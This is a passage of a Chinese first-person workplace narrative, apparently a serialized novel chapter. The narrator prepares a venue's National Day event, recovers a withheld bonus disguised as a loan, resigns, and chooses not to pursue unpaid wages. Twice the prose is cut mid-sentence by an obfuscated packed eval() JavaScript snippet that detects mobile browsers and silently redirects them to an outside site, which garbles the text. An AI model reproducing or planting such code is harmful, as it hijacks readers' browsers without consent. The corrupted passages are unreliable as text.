可距离国庆只剩下不到二十天时间,云居阁尚未装修,看上去和毛坯无异,甚至还不如毛坯。产品数量更是严重不足。我和慕雅琴完全是赶鸭子上架,不行也得行。 也正因为我们俩临危受命,才顿感这或许是个机会。 7 尽管我和慕雅琴反复向倪总陈述客观困难,他最终还是拍板要做,明确这是一次“政治任务”。 活动预算定在三十万,所以在我的方案中,结合领导们的意见,包含了现场布置、揭牌仪式、主持人、演绎内容、书画展以及文创集市。我负责临展和整体方案,雅琴负责产品。而这份方案,除了要给倪总过,还必须得到集团宁总点头。 因为装修的事,宁总此前已经“约谈”过我两次,我都找理由推掉了。因为集团距离不近,我一来一回半天时间就没了。所以,后来她开始给我打电话,七八点钟的时候打来,一讲就是一两个小时。那段时间,我几乎每天都处在高度紧绷的状态里,能不出问题,已是万幸。 有一次,我们在熊总办公室讨论装修方案调整。首山堂和江报的意见出现明显分歧。我试图说明,作为运营方,我们需要同时考虑两边的诉求。 话还没说完,就被宁总打断了。 她语气严厉,直接给我扣了一顶帽子——说我“政治立场有问题”,提醒我必须站在集团角度思考问题。 熊总见气氛不对,连忙打圆场,递茶、缓和情绪。我最终只能点头应下,结束讨论。 从那一刻起我就知道,活动方案这一关,我是绕不过宁总的。 果然,方案定稿前,我还是被叫到了她远在集团的办公室。 她当即把部门里的策划和经理都叫进来,将我的方案投屏,从第一页开始逐项讨论。 标题、措辞、版式、图片、流程、揭牌方式、主持人安排、演绎内容……四十多页方案,一页页过。 我从上午十点坐到中午一点,几乎没说什么话。那种密不透风的讨论,让人只想逃离。 中午我试探着提议暂停,宁总却表示,吃完饭可以继续,甚至暗示我“可以直接在她们部门午休后再接着改”。 我连连推辞,才勉强脱身。 后来见到倪总以后,我特地把我快被宁总逼到喘不过气的事告知于他,他也担心宁总会影响我状态,所以也由着我想怎样就怎样。 下午,她果然开始催促,发信息说:“你不来,我们不会继续,进度又要推迟!” 我没有接电话,只回了一句自己被供应商缠住了,暂时走不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17113989|195891||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 开。随后,我干脆在三方工作群里发起了线上会议,把方案改成远程汇报。 那一刻,我已经顾不上是否得体,只想尽快结束这种令人窒息的捆绑。 8 倪总显然很担心我在关键时刻掉链子。那段时间,我状态稍有不对,他就会主动找我谈话。 我和慕雅琴很快达成默契—— 国庆活动迫在眉睫,这是一定要按期完成的事。而这件事,短时间内他找不到第二个人接手。三方协议已经签完,活动方案也已经铺开,现在是最不能出状况的时候。 所以,时机到了。 为了不让倪总觉得我们是串通好了一起“对付”他,我们刻意错开了节奏。 我是在他主动找我谈话时,提出补发我被停发的三万元绩效。而雅琴,则在另外的时间节点,提出了转正的要求。 这两件事,倪总和我们来回博弈了好几轮。可时间拖得越久,他越焦虑。到最后,他不得不松口。 说实话,我并没指望他会答应。 在我们看来,倪总向来抠抠搜搜,想在他没有进项的时候从他那里掏钱,几乎不可能。我当时更多的是一种试探——以前光是应付倪总一个已经把我折腾得身心俱疲,现在又多一个宁总,我确实坚持不下去了,可在这个节骨眼上又狠不下心直接撂挑子。 所以如果倪总什么都不答应,我正好可以理直气壮地离职,不再有任何心理负担;如果他破天荒地答应了,我顶多再多留一阵,把活动做完再走。 可我万万没想到,他会有第三种选择—— 让我以“借款”的形式,从他名下的另一家私企拿这这三万块。 “我早就说过,停发的绩效没法直接给你补。”他说,“原本是打算以后在项目提成里多给你点,你又等不了。那就只有这个办法。” “那账面上,我不是欠了那家公司三万块?”我问。 “你将来拿到项目提成,就把这笔借款平掉。如果没拿到,我也不可能让你还。”他说得很干脆。 “这样不会有问题吗?” “这个你不用担心。备注就写‘预支云居阁项目提成’,走借支。” 我随口又问了一句:“那财务同事看到了,我不是挺没面子?” “你要钱还是要面子?” “行。”我点点头,“那就这样吧,谢谢倪总。” 走出办公室,我想了想,这一招确实很“倪总”,绝。 这笔钱他是不得不给的,一来,他确实担心我在关键节点撂挑子;二来,如果这笔钱到这种时候还不给,其它同事势必会对他的承诺产生动摇,这会直接影响他的权威和信誉。 所以,这并不是无奈之举,而是反复权衡后的选择。 以“借款”的形式把钱给我,既满足了我的诉求,又形成了一种隐形捆绑——账面上我有借条在,短时间内便不敢轻易离职。他大概以为,这样就能把风险控制住。 只可惜,他低估了我。 在提出要求之前,我已经把所有证据准备齐全。聊天记录、录音都在,足以证明这笔所谓的“借款”,本质上不过是他以变通方式补发给我的绩效。如果真的出现纠纷,我完全有能力全身而退。 拿到这笔钱,我心里反而轻松了许多。至少,不必再为了“白干”而强撑。 但做人总要有分寸。既然他兑现了承诺,我也会把国庆活动踏踏实实做完,让他能够交差。 只是,理性归理性,现实依旧残酷。国庆活动依然是个折磨人的苦差事。 真是得不偿失。 17. 第十七章 9 国庆活动的最初预算是三十万,最后却被要求控制在十万以内,并且所有费用要等到活动结束以后才能结款。我费尽心力,争取到十二万。 为了确保活动顺利推进,我不得不以个人名义和活动公司签了协议。好在最终结款还算顺利,没有再出意外,谢天谢地。 节后,我继续推进云居阁的装修方案,每天汇报进展,只为打消倪总的顾虑。就这样一直熬到十月底。 节后我都一直推进装修方案,每天认真汇报,只为打消倪总的顾虑。好不容易坚持到十月底,我压抑着心中的激动,请倪总在我当月的绩效考核表上签下大名,又等到人事部门发布工资条——将工资条备份留存,终于等到第二天,我迫不及待向倪总提出离职! 他简直惊掉下巴。 这是时隔七个月,我第二次提出离职。 “我真没想到,你还是要走。”倪总苦笑着。 “我也没想到。”我答得很平静,“我原本以为,可以在这里养老。至少再混几年吧。工作我都熟,对我来说没什么难度。只要不犯什么大错,倪总你也不会开除我。” “我怎么可能开除你?”他脱口而出。 “是啊。”我点点头,“所以我也没打算在这个时候走。” 倪总沉默了一会儿,“你能不能告诉我,你离职的真正原因?” 我想了想,说:“我长沙的母亲一直劝我回去。她性格很强势,我拗不过她。还有我外婆,九十多岁了,见一面少一面,也总让我回去多陪陪她。” “那你这里的爸妈怎么办?” 倪总知道这里有我的养父母,而长沙那位是我的生母,我在两边都有家人。 “相隔不远,我还是可以经常来看他们。” 倪总现在每说一句话都要斟酌好一会儿,“那葛总那边,你打算怎么交代?” 我笑了笑:“葛总上次留我的时候,说过给我升职加薪,后来也没做到。我想,他应该不会再找我了。” 倪总怔了一下,笑道:“他还答应过你这个?这我真没想到。” “是啊。” 他沉默了片刻,忽然叹了口气,说:“你还是厉害,步步为营。” 我顺势笑道:“也是被我妈逼的。你和她,其实挺像的,控制欲都很强,两个我都怕。” 倪总摇摇头,“行哦。你考虑清楚了就行。” 我原以为他还会拉着我聊很久。 10 我很高兴自己拿回了三万块绩效工资。上个月的工资虽然还没发到手,但工资条在手,不怕公司不发。走到这里,也算是得偿所愿了。 原本我计划做到十月就不再来了,但倪总还是希望我多留一个月完成交接,于是离职日期定在了十一月低。 自从我明确提出离职后,不到半个月,我手上的工作就已经基本全部交接给了慕雅琴。每天坐在公司里也无事可做,反倒显得多余。于是趁着倪总某天心情不错,我提出想居家办公——反正即便在公司,所有沟通也都在线上完成。 他勉强答应,但要求我走请假流程。也就是说,工作要继续配合,但没有工资。 我答应了。无所谓了。 就这样,我很快搬回了长沙自己的家。 回到长沙后,我和倪总通过两次电话。他问我有没有开始找工作,说起自己的近况,语气里满是疲惫,反倒有些羡慕我已经“脱身”。 我有些意外。没想到我和倪总,竟然真的可以这样好聚好散。 接下来只要抽空回公司把离职手续办完,我就彻底和这份工作说再见了。 太好了。太爽了。 终于解脱了。 11 可是等到次月发薪日,我并没有收到最后一个月的工资。 我去问倪总,他说是因为离职手续尚未办完,让我理解一下。听起来合情合理。 第二天一早,我便坐高铁回到公司,在中午之前办完了所有离职手续。倪总不在,我把表格拍照发给他确认。 “可以了吗?”我问。 “可以。” “那工资什么时候发?” “下个月。” 那一刻,我心里忽然一沉。 可我已经等了一个月了。 我之所以匆匆赶这一趟高铁,就是不想再被这些事牵着情绪走。我想把事情一次性了结,而不是再为一笔本就属于我的工资,反复消耗精力。 我耐着性子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17113990|195891||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 和倪总沟通,表示公司当然可以有内部流程,但流程不能凌驾于法律之上。离职手续办完后,依法结清工资是明确的义务。 可倪总只是反复强调公司一直以来的“做法”,让我去问人事,之前离职的同事是不是都如此。我隐隐感觉到,他在赌气,他对我拿钱走人的事仍旧耿耿于怀。 我知道再继续沟通下去,也不会有结果了。不是他听不懂,而是他根本不打算解决。我因此感到愤懑不平,多年积压的怨念再次涌上心头,挥散不去! 为什么我都离职了还要遵守你们公司的不成文的规定? 为什么吃亏的总是打工人?为什么连最后这点微薄的工资都咬住不放? 我真是不理解,想不通。 12 回到长沙后,我把这件事告诉了一位关系很近的律师朋友,原本只是想听听专业意见。她很快给了我一个清晰的判断: 我索要最后一个月工资,完全合法合规;而更严重的问题,在于那三万块所谓的“借款”。 那并不是一笔普通的款项,而是国企单位高层通过关联公司向员工支付不相关报酬的违规操作,存在明显的法律风险。一旦进入调查程序,事情的走向,远不止补发工资这么简单。 朋友告诉我,如果我愿意继续推进,从法律和程序上,我不仅可以拿回最后一个月工资,甚至可以再争取到三万块的补偿。可这样做,很可能会对倪总的事业造成打击。 当我拿着举报材料时,我犹豫了。不是因为害怕,也不是因为心软。 而是我突然意识到—— 我在这份工作上真的已经投入了太多太多的时间和精力。我都已经离职了,这份工作却还在无形之中将我困住! 就那么一念之间,我突然什么都不想要了,我只想彻底结束与这份工作相关的一切! 最终,我没有寄出那份材料,也不想再继续纠缠最后一个月的工资,我决定放过自己。 不是原谅,更不是退让。 我只是主动结束了一场对自己的过度消耗。 终于结束了。没有喜悦,只有平静。 在利益面前,我选择了放手。 这或许是我在这段经历之后,最大的收获。